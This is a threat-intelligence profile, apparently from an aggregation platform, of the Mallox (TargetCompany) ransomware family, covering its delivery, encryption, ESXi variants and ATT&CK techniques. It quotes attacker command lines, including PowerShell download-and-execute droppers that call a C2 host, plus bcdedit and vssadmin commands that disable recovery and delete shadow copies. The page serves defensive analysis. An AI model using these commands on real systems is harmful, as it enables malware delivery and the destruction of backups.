Mallox
- Type
- Ransomware
- Capabilities
- ExfiltrationDefense evasionReconnaissanceExtortion
- Delivery
- Malspam
- Platforms
- WindowsLinuxEsxi
Mallox, also known as TargetCompany, Fargo, and Xollam, is an enterprise-focused ransomware family associated with a ransomware-as-a-service operation. The family emerged in June 2021, with Mallox-branded variants appearing later that year and an affiliate program developing in 2022. Its operators use double extortion, combining file encryption with theft of business data and threats to publish it. Victims span multiple industries, including manufacturing, retail, telecommunications, and information technology, with substantial activity observed in Asia. The operation subsequently adopted the Weaxor branding.
Mallox intrusions frequently begin through internet-exposed Microsoft SQL Server instances compromised using weak credentials, brute-force attacks, or unpatched vulnerabilities. Attackers abuse SQL Server command-execution features to launch PowerShell and retrieve payloads. Other campaigns have used malicious email attachments, including Microsoft OneNote documents. Delivery chains employ encrypted loaders, reflective loading, and in-memory execution; some affiliates use PureCrypter. During broader enterprise compromises, affiliates have used Mimikatz for credential theft, AnyDesk for persistent access, network-scanning utilities for discovery, and FileZilla for data exfiltration.
Windows variants terminate database, backup, virtualization, and security-related processes or services, delete volume shadow copies, and disable recovery options before encryption. Some variants check system language and geographic information to avoid selected environments. The ransomware collects system information and transmits victim-registration details to command-and-control infrastructure. Analyzed variants encrypt files with ChaCha20 and protect file keys using Curve25519 and AES-128. Encrypted-file extensions and ransom-note formats vary between campaigns. Free decryptors can recover files from certain variants under limited circumstances.
Linux variants extend targeting to VMware ESXi infrastructure. An analyzed variant requires root privileges, detects ESXi, encrypts virtual-machine-related files, and transmits victim information to attacker-controlled servers. Its delivery script removes the ransomware executable after execution. Separately, one Mallox affiliate adapted the open-source Kryptina platform into a Linux encryptor retaining AES-256-CBC encryption; this lineage does not apply to all Mallox Linux variants.
Associated vulnerabilities
5 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
Associated threat actors
5 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
Recently, our threat hunting team discovered a new variant of the TargetCompany ransomware specifically targeting Linux environments. This variant uses a shell script for payload delivery and execution.
Recently, our threat hunting team discovered a new variant of the TargetCompany ransomware specifically targeting Linux environments. This variant uses a shell script for payload delivery and execution.
The TargetCompany ransomware was first detected in June 2021. It mostly launches attacks on vulnerable database servers.
It was targeted by an intrusion set leveraging brute-force tactics, aiming to deploy the Mallox ransomware via PureCrypter through several MS-SQL exploitation techniques.
Mallox ( aka TargetCompany ) ransomware is a longstanding, Enterprise-focused, RaaS. The family emerged in 2021 and is sometimes referred to as FARGO, XOLLAM, or BOZON, due to the extension appended to encrypted files in some variants.
Techniques & procedures
34 distinct techniques documented for this family, organized by ATT&CK tactic.
Initial Access
4 techniques
Initial Access
Mallox has all the typical Big Game Hunting attributes that other groups also have, such as a leak site, a server hosted on TOR, and others.
At the beginning of 2022, SophosLabs and Sophos MTR had been investigating an uptick in reports of attacks against Microsoft SQL Server installations, using two venerable and long-patched remote code execution vulnerabilities (CVE-2019-1068, CVE-2020-0618).
This loader usually arrives via spam email with different flavors to lure the users into downloading and executing the email attachment.
Mallox operators deploying the Xollam variant were also reported leveraging OneNote for phishing campaigns aiming to gain access to victims’ systems.
Execution
7 techniques
Execution
... & powershell -ExecutionPolicy Bypass %temp%\update.ps1 & WMIC process call create "%TEMP%\M0QW5DJ1.exe"
The payload downloaded by the PowerShell script was a .NET downloader, which would subsequently retrieve an encrypted payload from the command-and-control (C&C) server.
"C:\Windows\system32\cmd.exe" /c "echo $client = New-Object System.Net.WebClient > %TEMP%\update.ps1 & echo $client.DownloadFile("http://C2_Server_IP/- malware.exe","%TEMP%\<random>.exe") >> %TEMP%\update.ps1 & powershell – ExecutionPolicy Bypass %temp%\update.ps1 & WMIC process call create "%TEMP%\<random>.exe""
"C:\WINDOWS\system32\cmd.exe" /c "echo $client = New-Object System.Net.WebClient > %TEMP%\update.ps1 & echo $client.DownloadFile("http://91[.]243[.]44[.]142/pl- Ukxamliyg.exe","%TEMP%\9ETVCRZF.exe") >> %TEMP%\update.ps1 & powershell – ExecutionPolicy Bypass %temp%\update.ps1 & WMIC process call create "%TEMP%\9ETVCRZF.exe""
This variant uses a shell script for payload delivery and execution.
A Mallox (Windows) dropper named Application.jar... was also present... The PowerShell commands are embedded within the nested MyClass.class as Java bytecode.
This loader usually arrives via spam email with different flavors to lure the users into downloading and executing the email attachment.
Persistence
2 techniques
Persistence
Mallox has all the typical Big Game Hunting attributes that other groups also have, such as a leak site, a server hosted on TOR, and others.
These include packages split for 32 and 64 bit use, and a .LNK -based dropper for the payloads... Each of these images contains the same .LNK launcher, which is named Reader.lnk.
Privilege Escalation
3 techniques
Privilege Escalation
Exploit code for CVE-2024-21338 is included as well. CVE-2024-21338 is a local privilege escalation flaw in Windows 10 and 11... CVE-2024-21338 has been associated with other Mallox campaigns, as well as Lazarus.
Finally, the malware looks at its processus privileges in order to elevate them with the SeDebugPrivilege... The ransomware then adjusts its privileges to leverage the SeTakeOwnershipPrivilege and SeDebugPrivilege privileges.
These include packages split for 32 and 64 bit use, and a .LNK -based dropper for the payloads... Each of these images contains the same .LNK launcher, which is named Reader.lnk.
Stealth
6 techniques
Stealth
The final payload is in obfuscated or encrypted form, so the dotNet downloader has to decode it first. The encryption can be as simple as reversing the content of the file, or in a typical case a XOR encryption with a hardcoded key
the gang used different sets of defense evasion and reconnaissance tools such as GMER and Advance Process Termination to manually uninstall antivirus products on the target system.
After the ransomware performs its routine, the script deletes the TargetCompany payload using the command “rm -f x”.
Finally, the malware looks at its processus privileges in order to elevate them with the SeDebugPrivilege... The ransomware then adjusts its privileges to leverage the SeTakeOwnershipPrivilege and SeDebugPrivilege privileges.
The loader acts as a downloader that downloads encrypted malicious content from the remote server, decrypts it in the loader memory, and executes it.
Based on our investigations, Xollam uses a pseudo-fileless technique through PowerShell, which executes reflective loading to download its payload.
Defense Impairment
1 technique
Defense Impairment
The loader executes the malicious content in the memory without saving the actual payload in the disk to evade anti-virus detection.
Credential Access
1 technique
Credential Access
Our investigations also revealed that the ransomware might have connections with other groups such as the BlueSky ransomware, as well as the threat actors who perform brute-force attacks on MS SQL Servers.
Discovery
3 techniques
Discovery
The binary performs a check by executing the command “uname” to determine whether the machine is running in a VMWare ESXi environment.
After execution, the ransomware drops a batch file ... This batch file stops numerous services and programs so that associated files are encrypted without any interruption during the encryption process.
Some basic environmental discovery commands are included (e.g., Get-WmiObject -Namespace "root\SecurityCenter2" -Class AntiVirusProduct ).
Lateral Movement
1 technique
Lateral Movement
Both Mallox and Fargo variants use a set of tools via remote desktop for defense evasion.
Command and Control
2 techniques
Command and Control
Before encrypting the files, the ransomware exfiltrates system information such as Operating system version, Desktop name, etc., and sends it to the Command & Control (C&C) server using a POST request
The script attempts to download the TargetCompany payload from the download URL using “wget” or “curl,” whichever works between the two commands.
Exfiltration
4 techniques
Exfiltration
Before encrypting the files, the ransomware exfiltrates system information such as Operating system version, Desktop name, etc., and sends it to the Command & Control (C&C) server using a POST request
The contents of TargetInfo.txt will be sent to a command-and-control (C&C) server ... with the file name ap.php.
Mallox transitioned to leveraging the double extortion strategy by exfiltrating victims’ data in addition to encrypting it, further threatening to publish stolen data.
TargetCompany initiated its double-extortion scheme by setting up a Telegram channel where it could publish stolen information.
Impact
3 techniques
Impact
After its encryption routine, this variant appends the extension “.locked” on encrypted files and drops a ransom note named HOW TO DECRYPT.txt.
It then creates the ransom note shown in Figure 20. Note the use of the China.Helper@aol.com address, which we also saw in the instance of the “real” GlobeImposter infection discussed above. | kill$.exe drops a batch file into %TEMP%. Interestingly, this file contains comment strings in Chinese
Mallox begins its destructive activities by starting a thread that disables certain recovery options... `bcdedit /set {current} bootstatuspolicy ignoreallfailures` `bcdedit /set {current} recoveryenabled no`... The malware deletes shadow copies using the infamous command: `vssadmin.exe delete shadows /all /quiet`.
Observables
118 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
25 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.